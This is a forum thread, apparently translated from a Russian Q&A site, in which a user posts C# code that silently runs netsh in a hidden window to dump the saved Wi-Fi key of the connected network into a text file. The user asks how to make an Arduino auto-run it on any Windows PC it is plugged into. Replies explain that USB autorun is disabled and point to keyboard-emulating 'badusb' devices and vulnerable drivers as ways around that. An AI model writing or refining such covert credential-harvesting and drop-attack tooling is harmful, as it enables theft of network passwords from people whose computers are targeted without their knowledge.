S
S
Senya42021-10-23 20:10:02
Arduino
Senya4, 2021-10-23 20:10:02

Is it possible to make an arduino sketch autorun immediately after connecting to any Windows PC that runs an .exe file located on the sd card?

Good day, I have a program in C#. The code:

using System;
using System.IO;
using System.Diagnostics;
using Microsoft.WindowsAPICodePack.Net;


namespace MathematicsTest
{
   
    class Program
    {
        static string GetConnectedWifi(string command)
        {
            Process processWifi = new Process();
            processWifi.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            processWifi.StartInfo.FileName = "netsh";
            processWifi.StartInfo.Arguments = command;
            processWifi.StartInfo.UseShellExecute = false;
            processWifi.StartInfo.RedirectStandardError = true;
            processWifi.StartInfo.RedirectStandardInput = true;
            processWifi.StartInfo.RedirectStandardOutput = true;
            processWifi.StartInfo.CreateNoWindow = true;
            processWifi.Start();
            string output = processWifi.StandardOutput.ReadToEnd();
            string err = processWifi.StandardError.ReadToEnd();
            processWifi.WaitForExit();
            return output;
        }

        static void Main(string[] args)
        {

            Microsoft.VisualBasic.Devices.Network net = new Microsoft.VisualBasic.Devices.Network();

            // Если комп не подключен к сети то бросается exception
            if (!net.IsAvailable)
                throw new Exception("ERROR");
            

            string path = Directory.GetCurrentDirectory() + @"\pass.txt";
            FileStream file = new FileStream(path, FileMode.OpenOrCreate);

            StreamWriter writer = new StreamWriter(file);

            var networks = NetworkListManager.GetNetworks(NetworkConnectivityLevels.Connected);

            foreach (Network network in networks)
            {
                string wifies = GetConnectedWifi($"wlan show profiles name=\"{network.Name}\" key=clear");

                wifies = wifies.Remove(0, wifies.IndexOf("Содержимое ключа"));

                writer.WriteLine("==========================================Password");
                writer.Write(wifies);


                writer.Close();
                file.Close();
            }

        }
    }
}


In short: this program writes the contents of the key of the network to which the computer is connected to a .txt file using netsh.

I understand that the arduino cannot run the .exe file, so maybe you can make the computer run this program itself.

If this is impossible to implement, then I ask you to suggest how to make a similar program in the Arduino language.

Answer the question

In order to leave comments, you need to log in

2 answer(s)
S
Sergey Vodakov, 2021-10-23
@WaterSmith

To automatically start something on a flash drive when connected, there is an autorun. A long time ago, various viruses and Trojans were launched and spread this way. Therefore, now, this method does not work, the autorun of the flash drive is disabled for almost everyone.
In the "Arduino language" you can write a program that will send some bytes to the USB port. The most workable way is to create a flash drive that pretends to be a keyboard and sends the appropriate commands as if they were entered from the keyboard by the user. You can easily google how to solder such a keyboard simulator.

L
lonelymyp, 2021-10-28
@lonelymyp

Google badusb. there are some developments specifically for running software on a computer.
I remember it was possible to pretend to be some of the standard devices on which the standard driver is automatically installed and force the vulnerable standard driver to run the necessary software, but again, this will not work on the latest version of Windows.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question